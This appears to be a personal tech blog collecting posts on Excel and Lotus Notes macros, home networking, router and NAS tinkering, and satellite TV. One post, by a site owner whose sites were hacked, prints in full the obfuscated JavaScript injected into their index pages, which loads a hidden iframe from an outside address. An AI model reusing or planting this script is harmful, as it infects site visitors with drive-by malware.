Facebook privacy debate, face recognition.

I use Facebook, and I of course have obligatory 'friends' who actually aren't really friends at all. Some I have an interest in (see below) and some I just said yes to in the furor of Facebooks release and growth. Most are people I know, or did know, some I work with, some family, and then there are some real friends.

But nearly all the regular Facebook contributors I come across use it for two things:

1. How am I doing versus x ?
2. A replacement of sending junk email links to everyone in your address book*

* Notice how your inbox is no longer full of emails from 'friends', or in my case my mother, telling you to look at this link, watch out for this virus when you make a coffee and stir the spoon the wrong way which will allow access to all your bank accounts, credit cards and library membership. All stopped. Facebook, thank you !

I guess #1 is really social media feeding the basic human instinct of survival. Look at me I did this, I own this, I went here. Therefor I must be more intelligent than you as I have a better job, earn more money, and so I will survive, and you will not.

Maybe I'm being cynical and people just want to 'share'. Which is fine, but if your going to share or use social media to keep a score then please don't think that ticking that little box makes your data private.

What do you think the motivation is behind these companies ? Its to make money. How ? By having the most data and doing shit with it. Everything you do will be tracked. Pictures, links, status updates, wall posts. ALL will all be analyzed to the nth degree and used in a way to make money.

Face recognition is the latest headline news to hit the Daily Mail spin machine. How long do you think Facebook have been doing this privately ? .. Google already do it with Picasa. You chose to put your pictures on the web. A public place, with two billion users (correct at date of writing, 2 billion and 1, 2 billion and 5, I can't keep up !). And then you want privacy and protection ? - good luck, welcome to the future.

Sending IBM/Lotus Domino eMails from Excel

Heres your macro :

Public Sub emailme()
Dim noSession As Object, noDatabase As Object, noDocument As Object
   Dim vaRecipient As Variant
   Dim rnbody As Range
   Dim rnbody1 As Range
   Dim Data As DataObject
   Const stSubject As String = "P.O. Issues" ****
   Const stMsg As String = "Do you have an update on the following:"****  
   Const stPrompt As String = "Please select the range:"****
   vaRecipient = VBA.Array("your email address.com")****A MUST****
    On Error Resume Next
    Set rnbody = Application.InputBox("Please choose the range", Type:=8)
    On Error GoTo 0
    If rnbody Is Nothing _
    Then MsgBox "RNG is nothing" _
Else 'MsgBox rnbody.Address
rnbody.Select
Set rnbody1 = Range(rnbody, rnbody.Offset(0, 3))************
rnbody1.Select
   Set noSession = CreateObject("Notes.NotesSession")
   Set noDatabase = noSession.GETDATABASE("", "")
   If noDatabase.IsOpen = False Then noDatabase.OPENMAIL
   Set noDocument = noDatabase.CreateDocument
   rnbody1.Copy
   Set Data = New DataObject
   Data.GetFromClipboard
   With noDocument
      .Form = "Memo"
      .SendTo = vaRecipient
      .Subject = stSubject
      .body = stMsg & vbCrLf & vbCrLf & Data.GetText
      .SaveMessageOnSend = True
   End With
   With noDocument
      .PostedDate = Now()
      .Send 0, vaRecipient
   Set noDocument = Nothing
   Set noDatabase = Nothing
   Set noSession = Nothing
   'Activate Excel for the user.
   AppActivate "Microsoft Excel"
   Application.CutCopyMode = False
   MsgBox "The e-mail has successfully been created and distributed.", vbInformation
End With
End Sub

Replace the ***** parts with your particular details.


You may need to change the following line :

Set rnbody1 = Range(rnbody, rnbody.Offset(0, 3))************


This by default will use the first cell plus the 3 cells to the right.


I then applied that to a button, but another way I found was to put the following code in your worksheet {copy code,right click sheet tab name, select view code, & paste}


Any cell with the words 'Send Me' in can then be double clicked to invoke the macro.

Private Sub Worksheet_BeforeDoubleClick(ByVal Target As Excel.Range, Cancel As Boolean)
Select Case Target.Column
Case 1
If ActiveCell.Value = "Send Me" Then
ActiveCell.Offset(1, 0).Select
Call emailme
End If
End Sub

One gotcha I found was my installation of Excel didn't have the DataObject available.


From the Visual Basic editor, Tools, References.  
NB// If References is greyed out then Run, Reset and try again.

• Enable MS Forms 2.0

No more Sky ! (the satellite service rather than another end of the world prediction).

My eBay Sky HD box started to go on the blink and as I begrudge paying the £20(ish) service charge for channels I never watch I decided to make the leap into FreeSat.

Amazon, 1 x Humax Foxsat HDR 500GB

The first time I tried to set it up it got stuck on the 'enter postcode' - which really only sets your local regional channel preference. But when it fails its also indicative of a dish alignment problem - oh no, maybe the Sky HD box was OK.

Second try, 24 hours later and everything went through fine. hmmm ..

So far so good, the box works fine. My only gripe is the remote control, you pretty much need to stand in front of the box, especially with the front flap closed. Going to investigate IR extenders.

Think I'll stick with the official firmware for a while aswell ..

Sky Box Installer Menu

Because I can never remember it :


To access the Installer setup, do the following:


Old method:
1 Press Services on your Sky remote.
2 Press 4 (System Setup).
3 Press 0
4 Press 1
5 Press Select


New Method: HD Box
1 Press Services on your Sky remote.
2 Press 0
3 Press 0
4 Press 1
5 Press Select

IPv6 CIDR

2001:0db8:0123:4567:89ab:cdef:1234:5678
|||| |||| |||| |||| |||| |||| |||| ||||
|||| |||| |||| |||| |||| |||| |||| |||128   Single end-points and loopback
|||| |||| |||| |||| |||| |||| |||| ||124
|||| |||| |||| |||| |||| |||| |||| |120
|||| |||| |||| |||| |||| |||| |||| 116
|||| |||| |||| |||| |||| |||| |||112
|||| |||| |||| |||| |||| |||| ||108
|||| |||| |||| |||| |||| |||| |104
|||| |||| |||| |||| |||| |||| 100
|||| |||| |||| |||| |||| |||96
|||| |||| |||| |||| |||| ||92
|||| |||| |||| |||| |||| |88
|||| |||| |||| |||| |||| 84
|||| |||| |||| |||| |||80
|||| |||| |||| |||| ||76
|||| |||| |||| |||| |72
|||| |||| |||| |||| 68
|||| |||| |||| |||64   Single End-user LAN (default prefix size for SLAAC)
|||| |||| |||| ||60   Some (very limited) 6rd deployments
|||| |||| |||| |56   
|||| |||| |||| 52
|||| |||| |||48   end sites assignment(for automatic hierarchies & general purpose end-site deployments)
|||| |||| ||44
|||| |||| |40
|||| |||| 36   possible future Local Internet registry extra-small allocations
|||| |||32   Local Internet registry minimum allocations
|||| ||28   Local Internet registry medium allocations
|||| |24   Local Internet registry large allocations
|||| 20   Local Internet registry extra large allocations
|||16
||12   Regional Internet Registry allocations from IANA[5]
|8
4

RS 208-1786 RJ45 to BT

Part, erm, lost count, lets say 8, of operation run cable from lounge to study.   Wanted to plug the BT socket and CAT6 into the same face plate/back box but could only find 4 port RJ45 face plates.  Enter RS 208-1786 - RJ45 to BT conversion.


Pins 4 and 5 on the RJ45 port are the equivalent BT pins 5 and 2 (the ones you want).

Homeplugs are dead, long live .... well, copper wires.

I've finally given up with my Homeplugs, Netgear HD model.  The throughput was never great but it worked for 'most' things.  But since installing the HTPC I really wanted to stream full 1080p which the HP had no chance, in fact when I started to test bandwidth with iPerf I was truly shocked at how bad they were.


Spent some time looking at new 500Mb plugs but the reality was even with the entire house turned off, I mean everything turned off, fridges, chargers, everything.  Even then the homeplugs connected to a simple four block next to the hub and the t/put was still crap.


So the run STP CAT6 plan kicked in.  


Step one purchase Snake Scope !


Just an excuse really, but actually turned out to be pretty useful.  At least in the early stages it meant I could just drill a small(ish) hole and poke around in the ceiling.  Gave me an idea of what I was up against and proved useful working around beams and stuff.


The chosen wall in the front room, in theory dropped down right above the cloak room toilet on the ground floor.  Six holes later I realised I was looking in the wrong place.  Measure twice cut once as my Dad used to say.


Eventually finding the drop from the front room turned out to be pretty easy. Then it was a case of cutting 'working' holes in the ceiling and making my way through beams - using existing cable holes and towards the study.


Where I came across the problem of getting through the metal supports they'd used to build the gypsum walls.  That proved to be a task easy resolved with another purchase.  This time a flexible drill shaft and a step 4-22mm step drill bit.  Took some time, some swearing and some dangerous balancing on a chair, which in turn balanced an old tower PC.  A H&S person would have imploded on the spot.


I bought some faceplates etc to give a nice finish and then patching up required dustless sanding.  googling how I stumbled across a youtube link showing how to smooth the filler with just a rough sponge and warm water, which I tried and worked OK.

My websites been hacked !

I run a forum www.bvra.org.uk and a personal site www.paulregan.co.uk.

Last night someone posted on the forum that Google had flagged the site as dangerous and a follow post that Kaspersky was reporting a trojan - Trojan.JS.Iframe.nk

What !, my forum, no way .. I tried a few things and my AV (Mcafee) didnt complain.  Odd, check the date time on the files and low and behold the index.* (htm, html, php) files had been changed 2 days ago .. not by me.

<body><script>
var I={j:{I:{I:'~',l:'.',j:'^'},l:{I:'%',l:218915,j:1154%256},j:{I:1^0,l:55,j:'ijl'}},I:{I:{I:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=I.I.I.I(I.l.I.I('.75.67.67.63.3a.2f.2f.31.31.33.2e.31.31.2e.31.39.34.2e.31.37.37.2f.75.67.71.62.70.66.2f.74.6e.67.72.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.67.72.7a.63.79.6e.67.72.66.61.72.6a.66'));var j=(l)?I.I.I.l():false;return j;}},l:{I:function(){var l=I.I.I.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=I.I.j.j(I.I.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=I.I.j.I(I.I.l.I());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{I:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return I.I.j.I(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{I:{I:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'21',j:'16'},l:{I:'50',l:'85',j:'81'},j:{I:'55',l:'85',j:'57'}}}
I.I.l.j();</script>

Had been added to both the forum and my personal site index files.  A strange file templatesnews.php had also been uploaded at the same time.

Anyone know what that code does ? ..

Cleaned the files up and locked FTP, even though I had a stupidly complex password.

I've emailed the hosting company, as I suspected something wider.  They got back to me and told me mine where the only sites - look for Gumblar.

Now last weekend my home PC started to act up, Firefox and Chrome would both crash, actually come to think of it the two sites I always rely on for testing are mine.  That explains it ! .. A quick google and it appears Grumblar can get saved password from CoreFTP which I use, it then inserts code to spread itself.  

Bugger, and I work in IT ! .. My machine runs upto date AV, Spyware, Firewall & Windows updates. How the hell did this get in ..

Props to virtualnames.co.uk who quickly restored my site from backups and I've since disabled FTP and changed the passwords again.


Now to make sure this b'stard thing has'nt infected my since rebuilt OS.

Upgrading Thompson TG585-V7 DSL Router

The box will totally loose its config when you do this  .. IP, admin password, ALL

1. Backup the config and put a copy locally.
2. Apply firmware using the upgrade utility.
3. The FW upgrade will revert the router to its default subnet - 192.168.1.0/24
4. Browse to http://192.168.1.254.
• UID : Administrator
• PW  : Serial Number of router
5. Restore config from #1
6. The upgrade seems to loose some of the MAC / device names, if you've defined them.  If you can be bothered re-define the devices.
7. Change the WLAN back to your key, the firmware applies the default keys.

If you'd previously modified the default DNS servers you'll need to correct this as the fw adds the BE server and makes it default.  Below is how to clean up and add the OpenDNS servers ..

nb//matrix.com is a local DNS server on my network.

Telnet to your modem by running ‘telnet 192.168.0.1′ replace the 192.168.0.1 with your modem’s ipaddress a login with the Administrator account.

Type :

1. dns server route
2. list - to list your current DNS settings. Write these down somewhere so you’ll be able to change them back if you want to. 
3. flush - to delete all dns servers in the list.  
4. add dns=208.67.222.222 intf=Dynamic_IP  - adds first OpenDNS server.  
5. add dns=208.67.220.220 metric=1 intf=Dynamic_IP - second Opendns server. 
6. list - should show the applied changes
   
   
   
    

Then type saveall to save these new settings. And finally exit to exit the telnet session. You should now able to browse the web using OpenDNS.

Save flash (flv) files locally

This requires Safari & WGET

1. From the Safari menu select Window | activity

 This will display a list of current sites that are open.  In the window you want to capture the media file from start it playing.  In the list you'll see a .flv file.  It will probably be the biggest file size.

2. Copy the URL

3. Run a command prompt and find wget.exe


wget <url>/<file-name>
wget http://www.server.com/files/flash.flv

Blackberry to iPhone

We're a Domino shop and have an onsite BES server but needed to provide email access to other handhelds.  IBM have a product called Lotus Notes Traveller which supports iPhone, Windows & Symbian by default.  Its possible to get Android working using a simulator - we installed this a few weeks back with good feedback.

So being the dedicate support professional that I am I decided it was time to switched my Blackberry Storm for an iPhone which I did last week. Shame huh ..

So far so good, LNT works relativly well.  Once big downside is it needs a constant connection to the LNT server.  Which means you cant delete or send anymail with no service.  A pain as I used to clean out the days mail chuff while travelling home on the underground.

But other than that the iPhone is great .. Messing around with VPN, SIP phone to Call Manager and some networking apps.  As well as the paper toss, Google earth etc :)

Open Link in New Window

Because every time I add a link to a blog post of forget the code to open it in a new window.

So here it is

Create the link using the blog button, switch to HTML view and add target="_blank"

eg

<a href="http://www.website.com/" target="_blank">Text Link in Post</a>


Displaying code in a blog ...

Put the text between [code]here is some code[/code] - change the [] for <>

http://www.simplebits.com/cgi-bin/simplecode.pl?mode=process

Why is Vista so slow copying files .. !

350MB File on a Gb network - no jumbo frames just straight vanilla config.

From vista to NAS- 60 seconds 6MB/s
NASto vista - 35 seconds 10MB/s

Tried IPerf to make sure the network was OK.

Vista as server 'iperf -s' and NAS as client - 8MB/s
NAS as server - 19MB/s

Time to hit google .. or install Windows 7

TeraStation Pro (TS-TGL) - Home Media Server

So I 'borrowed' a TeraStation Pro (TS-TGL Models) from work. The idea is to use it as a POC before I buy my own NAS to see if it can replace my Windows 2003 server currently running in the garage. Its my file and network services (DNS, DHCP, IIS etc) server & also runs a virtual XP workstation which uses TVersity to push my media around the house. Really I have to leave it running 24x7 to get what I need from it. This is a total waste of money and since I recently installed an ecoeye mini wireless monitor I can now see how much !! http://www.electricity-monitor.com/ecoeye-mini-wireless-electricity-monitor-p-41.html.

My requirement list :

1 - DNS
2 - DHCP
3 - File Serving
4 - Web Server
5 - UPnP Media Server
6 - Power off / Wake On LAN (WOL)

The Buffalos run an imbedded version of Linux. An OS I use at work on and off, comfortable enough to tackle it. I found a hacked version of the NAS firmware which allows TELNET access : http://homepage.ntlworld.com/itimpi/buffalo.htm and some excellent help @ the forums http://forum.buffalo.nas-central.org/viewforum.php?f=42. And so then allows you to butcher the OS and install apps enable NFS etc.

Loading the new fw was easy enough and this gave me telnet access. But its a really old Linux build so didn't have any of the package loaders. I stumbled across Ipkg for the linkstation also based on the PPC chip (same as TS-TGL) - worth a try. Downloaded, setup the repositories and it worked a dream :

http://buffalo.nas-central.org/wiki/Ipkg_Package_List:_PowerPC

Command reminders : 

ipkg update - update list of available packages
ipkg list | grep [package_name] - list package and filter on [package-name]
ipkg list_installed - list installed packages





DNS

I've used BIND before so that was my first try. There is a package in the Ipkg resources which installed and seemed OK.. But running it gave some scary errors. Googling for a fix led me to DNSMASQ which seems a way more lightweight SOHO DNS Server and probably more suited. Again it was in the repo so I installed, started, easy .. It uses /etc/hosts to serve my home domain, matrix.com .. #1 Done

DHCP

I have a mix of static and DHCP devices. When my servers running it serves the DHCP range, which is just a 20 host range from my home static, W2K3 also give me DDNS which is nice but not essential. My DSL router also provides DHCP and as I discovered some basic DNS resolution. With some 'manipulation' of the router from the CLI it turns out I can serve DHCP from the router which is always on and create a DNS Server entry for matrix.com pointing to DNSMASQ. #2 Done

File Serving

Its a NAS, thats its job so by default comes with SMB... Setup my shares #3 Done

Web Server

Currently IIS which I run a basic Home navigation page, links to shares, HTTP views of files. Reminders of host names etc. I have an XP running TVersity which has always been fine for music, but was never great for Video, maybe lack of CPU etc but I found I could just serve my files using HTML file lists and browse using the PS3 browser and play .. works fine. So either I need to find a 100% reliable UPnP app or I need a replacement to IIS to keep doing this.

I also wanted to play with Apache :) .. The Buffalo's management app is web based, turns out being server by Apache. Its 1.3 but still does the job (2.x is in the Ipkg repo so thats a future task). I created some Virtual hosts for the sites I run and messed around with the config a little. #4 Done

10/5/2009 - I say done .. It turns out apache 1.3 has a file size limit of 2GB. Which is not good when I'm trying to push files to the PS3. This is resolved in 2.2 and I tried to upgrade but started to have problems with missing libraries. I have installed LIGHTTPD running on port 8081 to server the film part of my web site ..

Media Server

I knew this would be a pain. Having messed with TVersity for a while its pretty clear that this 'technology' is still developing. Add to that OpenSource and and OS I'm not entirely comfortable with then it becomes a world of pain. The forums discussed UShare & MediaTomb with the later tending to get the more favourable posts. Its also in the Ipkg repo.

Installed it and ..........

I ran a small test and imported a selection of files, music & pics (Theres no way this NAS CPU will do transcoding so I'll stick with my apache file lists for now) which it seemed to do OK and even better my PS3 found it.

I need to work on the list structure, the default one is OK but I prefer Artist | Album | Track so I need to get that working. It looks like the import.js script is the key to solving that. I also have a problem some file name characters. The doc talks about loading charsets which after 2 days I realised I had put in the wrong part of config.xml. Now I've corrected that MediaTomb errors with un-supported code page. # 5 In progress :)

To change mediatomb character set add :


</server>
<import hidden-files="no">
<filesystem-charset>UTF-8</filesystem-charset>
<metadata-charset>ISO-8859-1</metadata-charset>



to config.xml under the 'import' section. Make sure you dont what I do and add them under the script section, cause then it wont work (well its not actually working for me but at least I get errors now) ..

09/05/2009 - Given up with the international characters. The log file reported that mediatomb didnt support the charset I was trying, in my case I tried iso-8859-1 / 10 & 15 .. Maybe the version in the optware repository is older than current.


Power off / Wake On LAN (WOL)

Not with this NAS. But assuming this one does all I need (so far so good) then I can research which onces do. At least my POC device has a lower power usage than a sodding great server ..